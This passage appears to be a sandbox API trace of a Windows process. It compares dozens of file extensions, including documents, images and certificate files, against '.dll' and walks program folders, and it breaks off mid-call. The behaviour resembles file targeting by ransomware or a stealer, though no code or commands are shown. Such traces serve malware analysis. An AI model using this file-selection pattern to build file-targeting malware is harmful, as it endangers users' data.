[0092.468] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0092.468] lstrlenW (lpString=".dotm") returned 5 [0092.468] lstrcmpiW (lpString1=".dotm", lpString2="0.dll") returned -1 [0092.468] lstrlenW (lpString=".dotx") returned 5 [0092.468] lstrcmpiW (lpString1=".dotx", lpString2="0.dll") returned -1 [0092.468] lstrlenW (lpString=".dpx") returned 4 [0092.468] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0092.468] lstrlenW (lpString=".dqy") returned 4 [0092.468] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0092.468] lstrlenW (lpString=".dsn") returned 4 [0092.468] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0092.468] lstrlenW (lpString=".dt") returned 3 [0092.468] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0092.468] lstrlenW (lpString=".dtd") returned 4 [0092.468] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0092.468] lstrlenW (lpString=".dwg") returned 4 [0092.469] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".dwt") returned 4 [0092.469] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".dx") returned 3 [0092.469] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0092.469] lstrlenW (lpString=".dxf") returned 4 [0092.469] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".edml") returned 5 [0092.469] lstrcmpiW (lpString1=".edml", lpString2="0.dll") returned -1 [0092.469] lstrlenW (lpString=".efd") returned 4 [0092.469] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".elf") returned 4 [0092.469] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".emf") returned 4 [0092.469] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".emz") returned 4 [0092.469] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".epf") returned 4 [0092.469] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".eps") returned 4 [0092.469] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".epsf") returned 5 [0092.469] lstrcmpiW (lpString1=".epsf", lpString2="0.dll") returned -1 [0092.469] lstrlenW (lpString=".epsp") returned 5 [0092.469] lstrcmpiW (lpString1=".epsp", lpString2="0.dll") returned -1 [0092.469] lstrlenW (lpString=".erf") returned 4 [0092.469] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".exr") returned 4 [0092.469] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".f4v") returned 4 [0092.469] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".fido") returned 5 [0092.469] lstrcmpiW (lpString1=".fido", lpString2="0.dll") returned -1 [0092.469] lstrlenW (lpString=".flm") returned 4 [0092.469] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0092.469] lstrlenW (lpString=".flv") returned 4 [0092.470] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".frm") returned 4 [0092.470] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".fxg") returned 4 [0092.470] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".geo") returned 4 [0092.470] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".gif") returned 4 [0092.470] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".grs") returned 4 [0092.470] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".gz") returned 3 [0092.470] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0092.470] lstrlenW (lpString=".h") returned 2 [0092.470] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0092.470] lstrlenW (lpString=".hdr") returned 4 [0092.470] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".hpp") returned 4 [0092.470] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".hta") returned 4 [0092.470] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".htc") returned 4 [0092.470] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".htm") returned 4 [0092.470] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".html") returned 5 [0092.470] lstrcmpiW (lpString1=".html", lpString2="0.dll") returned -1 [0092.470] lstrlenW (lpString=".icb") returned 4 [0092.470] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".ics") returned 4 [0092.470] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".iff") returned 4 [0092.470] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".inc") returned 4 [0092.470] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0092.470] lstrlenW (lpString=".indd") returned 5 [0092.470] lstrcmpiW (lpString1=".indd", lpString2="0.dll") returned -1 [0092.471] lstrlenW (lpString=".ini") returned 4 [0092.471] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".iqy") returned 4 [0092.471] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".j2c") returned 4 [0092.471] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".j2k") returned 4 [0092.471] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".java") returned 5 [0092.471] lstrcmpiW (lpString1=".java", lpString2="0.dll") returned -1 [0092.471] lstrlenW (lpString=".jp2") returned 4 [0092.471] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".jpc") returned 4 [0092.471] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".jpe") returned 4 [0092.471] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".jpeg") returned 5 [0092.471] lstrcmpiW (lpString1=".jpeg", lpString2="0.dll") returned -1 [0092.471] lstrlenW (lpString=".jpf") returned 4 [0092.471] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".jpg") returned 4 [0092.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".jpx") returned 4 [0092.471] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".js") returned 3 [0092.471] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0092.471] lstrlenW (lpString=".jsf") returned 4 [0092.471] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".json") returned 5 [0092.471] lstrcmpiW (lpString1=".json", lpString2="0.dll") returned -1 [0092.471] lstrlenW (lpString=".jsp") returned 4 [0092.471] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".kdc") returned 4 [0092.471] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0092.471] lstrlenW (lpString=".kmz") returned 4 [0092.472] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".kwm") returned 4 [0092.472] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".lasso") returned 6 [0092.472] lstrcmpiW (lpString1=".lasso", lpString2="00.dll") returned -1 [0092.472] lstrlenW (lpString=".lbi") returned 4 [0092.472] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".lgf") returned 4 [0092.472] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".lgp") returned 4 [0092.472] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".log") returned 4 [0092.472] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".m1v") returned 4 [0092.472] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".m4a") returned 4 [0092.472] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".m4v") returned 4 [0092.472] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".max") returned 4 [0092.472] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".md") returned 3 [0092.472] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0092.472] lstrlenW (lpString=".mda") returned 4 [0092.472] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".mdb") returned 4 [0092.472] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".mde") returned 4 [0092.472] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".mdf") returned 4 [0092.472] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".mdw") returned 4 [0092.472] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".mef") returned 4 [0092.472] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".mft") returned 4 [0092.472] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0092.472] lstrlenW (lpString=".mfw") returned 4 [0092.473] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mht") returned 4 [0092.473] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mhtml") returned 6 [0092.473] lstrcmpiW (lpString1=".mhtml", lpString2="00.dll") returned -1 [0092.473] lstrlenW (lpString=".mka") returned 4 [0092.473] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mkidx") returned 6 [0092.473] lstrcmpiW (lpString1=".mkidx", lpString2="00.dll") returned -1 [0092.473] lstrlenW (lpString=".mkv") returned 4 [0092.473] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mos") returned 4 [0092.473] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mov") returned 4 [0092.473] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mp3") returned 4 [0092.473] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mp4") returned 4 [0092.473] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mpeg") returned 5 [0092.473] lstrcmpiW (lpString1=".mpeg", lpString2="0.dll") returned -1 [0092.473] lstrlenW (lpString=".mpg") returned 4 [0092.473] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mpv") returned 4 [0092.473] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mrw") returned 4 [0092.473] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".msg") returned 4 [0092.473] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".mxl") returned 4 [0092.473] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".myd") returned 4 [0092.473] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".myi") returned 4 [0092.473] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0092.473] lstrlenW (lpString=".nef") returned 4 [0092.473] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".nrw") returned 4 [0092.474] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".obj") returned 4 [0092.474] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".odb") returned 4 [0092.474] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".odc") returned 4 [0092.474] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".odm") returned 4 [0092.474] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".odp") returned 4 [0092.474] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".ods") returned 4 [0092.474] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".oft") returned 4 [0092.474] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".one") returned 4 [0092.474] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".onepkg") returned 7 [0092.474] lstrcmpiW (lpString1=".onepkg", lpString2="100.dll") returned -1 [0092.474] lstrlenW (lpString=".onetoc2") returned 8 [0092.474] lstrcmpiW (lpString1=".onetoc2", lpString2="t100.dll") returned -1 [0092.474] lstrlenW (lpString=".opt") returned 4 [0092.474] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".oqy") returned 4 [0092.474] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".orf") returned 4 [0092.474] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".p12") returned 4 [0092.474] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".p7b") returned 4 [0092.474] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".p7c") returned 4 [0092.474] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0092.474] lstrlenW (lpString=".pam") returned 4 [0092.474] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pbm") returned 4 [0092.475] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pct") returned 4 [0092.475] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pcx") returned 4 [0092.475] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pdd") returned 4 [0092.475] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pdf") returned 4 [0092.475] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pdp") returned 4 [0092.475] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pef") returned 4 [0092.475] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pem") returned 4 [0092.475] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pff") returned 4 [0092.475] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pfm") returned 4 [0092.475] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pfx") returned 4 [0092.475] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".pgm") returned 4 [0092.475] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".php") returned 4 [0092.475] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0092.475] lstrlenW (lpString=".php3") returned 5 [0092.475] lstrcmpiW (lpString1=".php3", lpString2="0.dll") returned -1 [0092.475] lstrlenW (lpString=".php4") returned 5 [0092.475] lstrcmpiW (lpString1=".php4", lpString2="0.dll") returned -1 [0092.475] lstrlenW (lpString=".php5") returned 5 [0092.475] lstrcmpiW (lpString1=".php5", lpString2="0.dll") returned -1 [0092.475] lstrlenW (lpString=".phtml") returned 6 [0092.475] lstrcmpiW (lpString1=".phtml", lpString2="00.dll") returned -1 [0092.475] lstrlenW (lpString=".pict") returned 5 [0092.475] lstrcmpiW (lpString1=".pict", lpString2="0.dll") returned -1 [0092.475] lstrlenW (lpString=".pl") returned 3 [0092.475] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0092.476] lstrlenW (lpString=".pls") returned 4 [0092.476] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0092.476] lstrlenW (lpString=".pm") returned 3 [0092.476] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0092.476] lstrlenW (lpString=".png") returned 4 [0092.476] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0092.476] lstrlenW (lpString=".pnm") returned 4 [0092.476] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0092.476] lstrlenW (lpString=".pot") returned 4 [0092.476] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0092.476] lstrlenW (lpString=".potm") returned 5 [0092.476] lstrcmpiW (lpString1=".potm", lpString2="0.dll") returned -1 [0092.476] lstrlenW (lpString=".potx") returned 5 [0092.476] lstrcmpiW (lpString1=".potx", lpString2="0.dll") returned -1 [0092.476] lstrlenW (lpString=".ppa") returned 4 [0092.476] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0092.476] lstrlenW (lpString=".ppam") returned 5 [0092.476] lstrcmpiW (lpString1=".ppam", lpString2="0.dll") returned -1 [0092.476] lstrlenW (lpString=".ppm") returned 4 [0092.476] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0092.476] lstrlenW (lpString=".pps") returned 4 [0092.476] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0092.476] lstrlenW (lpString=".ppsm") returned 5 [0092.476] lstrcmpiW (lpString1=".ppsm", lpString2="0.dll") returned -1 [0092.476] lstrlenW (lpString=".ppt") returned 4 [0092.476] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.476] lstrlenW (lpString=".pptm") returned 5 [0092.476] lstrcmpiW (lpString1=".pptm", lpString2="0.dll") returned -1 [0092.476] lstrlenW (lpString=".pptx") returned 5 [0092.476] lstrcmpiW (lpString1=".pptx", lpString2="0.dll") returned -1 [0092.476] lstrlenW (lpString=".prn") returned 4 [0092.476] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".ps") returned 3 [0092.477] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0092.477] lstrlenW (lpString=".psb") returned 4 [0092.477] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".psd") returned 4 [0092.477] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".pst") returned 4 [0092.477] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".ptx") returned 4 [0092.477] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".pub") returned 4 [0092.477] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".pwm") returned 4 [0092.477] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".pxr") returned 4 [0092.477] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".py") returned 3 [0092.477] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0092.477] lstrlenW (lpString=".qt") returned 3 [0092.477] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0092.477] lstrlenW (lpString=".r3d") returned 4 [0092.477] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".raf") returned 4 [0092.477] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".rar") returned 4 [0092.477] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.477] lstrlenW (lpString=".raw") returned 4 [0092.477] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0092.478] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.479] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb26e2784, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae9b674b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69fb68e3, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", cAlternateFileName="MIA018~1.0_X")) returned 1 [0092.481] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.481] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb26e2784, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb26e2784, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb26e2784, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.481] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.481] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xddc386b4, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xddc386b4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xddc386b4, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.481] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0092.481] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.481] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2708a61, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb2708a61, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb2708a61, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x6c98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100.dll", cAlternateFileName="")) returned 1 [0092.481] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.481] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff4e801, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaea38daa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c77f49b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI7399~1.0_X")) returned 1 [0092.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.487] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff74b34, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4ff74b34, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4ff74b34, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.487] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.487] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xde4445ea, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd28c236f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd28c236f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.487] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0092.488] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.488] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff74b34, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4ff74b34, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4ff9ad7e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4dab0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100_app.dll", cAlternateFileName="")) returned 1 [0092.488] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.488] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ffc0fdc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaeaf585c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c58f618, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI38C6~1.0_X")) returned 1 [0092.489] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.489] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ffc0fdc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4ffc0fdc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4ffc0fdc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.489] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.489] FindNextFileW 